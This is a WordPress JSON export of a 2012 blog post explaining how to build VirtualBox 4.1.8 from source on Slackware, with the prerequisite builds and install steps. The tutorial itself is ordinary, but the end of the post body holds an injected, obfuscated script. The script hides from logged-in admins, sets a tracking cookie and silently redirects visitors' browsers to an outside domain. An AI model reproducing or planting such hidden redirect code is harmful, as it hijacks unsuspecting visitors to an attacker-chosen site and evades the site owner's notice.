{"id":242,"date":"2012-03-05T10:54:53","date_gmt":"2012-03-05T02:54:53","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=242"},"modified":"2012-06-21T00:17:01","modified_gmt":"2012-06-20T16:17:01","slug":"virtualbox-building-from-source","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/03\/05\/virtualbox-building-from-source\/","title":{"rendered":"VirtualBox building from source"},"content":{"rendered":"<p>This post guide you thru the installation of <a href=\"https:\/\/www.virtualbox.org\/\">VirtualBox<\/a> base on my experience on Slackware 13.37.  Several extra packages are required to build the VirtualBox from source.<br \/>\n<!--more--><br \/>\nOS: Slackware 13.37 64bit<br \/>\nSoftware: VirtualBox-4.1.8<\/p>\n<h1>Pre-requirement<\/h1>\n<ul>\n<li><a href=\"http:\/\/www.q-station.net\/kb\/index.php\/2012\/02\/14\/slackware-pam\/\" title=\"Slackware &#038; PAM\">Install PAM<\/a> for remote display authentication.  If you are intend for using locally, you could safely skip this step.\n<\/li>\n<li>Install <a href=\"http:\/\/www.acpica.org\/\">acpica<\/a>\n<pre>\r\ncd acpica\/source\/tools\/acpibin\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/tools\/acpiexec\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/tools\/acpihelp\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/tools\/acpinames\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/tools\/acpisrc\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/tools\/acpixtract\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n\r\ncd acpica\/source\/compiler\r\nINSTALLDIR =            \/usr\/local\/acpica\/bin\r\nmake\r\nmake install   \/* install the binary to \/usr\/bin *\/\r\n<\/pre>\n<\/li>\n<li><a href=\"http:\/\/www.speex.org\/\">speexdsp<\/a>\n<pre>\r\n.\/configure --prefix=\/usr\/local\/speex\r\nmake\r\nmake install\r\n<\/pre>\n<\/li>\n<li><a href=\"http:\/\/oss.metaparadigm.com\/json-c\/\">json-c<\/a>\n<pre>\r\n.\/configure --prefix=\/usr\/local\/json-c --disable-static\r\nmake\r\nmake install\r\n<\/pre>\n<li><a href=\"http:\/\/www.pulseaudio.org\/\">pulseaudio<\/a>\n<pre>\r\ngroupadd -g 182 pulse\r\ngroupadd -g 183 pulse-access\r\nuseradd -u 182 -g 182 -d \/usr\/local\/pulseaudio -s \/bin\/false -c 'PulseAudio' pulse\r\n\r\n.\/configure --prefix=\/usr\/local\/pulseaudio\r\nmake\r\nmake install\r\n<\/pre>\n<\/li>\n<li><a href=\"http:\/\/megastep.org\/makeself\/\">makeself<\/a>\n<pre>\r\ncd \/usr\/local\/makeself\r\nsh .\/makeself.run --keep --target \/usr\/local\/makeself\r\n<\/pre>\n<\/li>\n<li>Install jdk from slackware package or from Oracle\n<\/li>\n<\/ul>\n<h1>Building<\/h1>\n<ul>\n<li>Download the VirtualBox source and extract\n<pre>\r\nexport VBOX_JAVA_HOME=\/usr\/local\/java\r\n.\/configure --with-makeself=\/usr\/local\/makeself\/makeself.sh --disable-docs\r\nsource .\/env.sh\r\nkmk all\r\n<\/pre>\n<\/li>\n<li>Build package\n<pre>\r\nkmk packing\r\n<\/pre>\n<\/li>\n<li>A ready run script for installation will located at <strong>.\/out\/linux.amd64\/release\/bin<\/strong>\n<\/li>\n<li>Running the script, will\n<ul>\n<li>Build modules and install it at <strong>\/lib\/modules\/2.6.37.6\/misc\/<\/strong>\n<\/li>\n<li>Create <strong>\/etc\/vbox\/vbox.cfg<\/strong><\/li>\n<li>All files in <strong>\/opt\/VirtualBox<\/strong><\/li>\n<li>Symbolic link executable from <strong>\/usr\/bin<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h1>Install extension pack<\/h1>\n<ul>\n<li>Download the extension pack from VirtualBox\n<pre>\r\nVBoxManage extpack install &lt;the name of the&gt;.vbox-extpack\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Running<\/h1>\n<p>You could start your VirtualBox by running VirtualBox.<\/p>\n<h1>Outstanding issues<\/h1>\n<ul>\n<li>Window addition won&#8217;t be compile, as you need to building by Window\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post guide you thru the installation of VirtualBox base on my experience on Slackware 13.37. Several extra packages are required to build the VirtualBox from source.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[44],"tags":[14,42],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/242"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=242"}],"version-history":[{"count":32,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/242\/revisions"}],"predecessor-version":[{"id":283,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/242\/revisions\/283"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=242"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=242"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=242"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}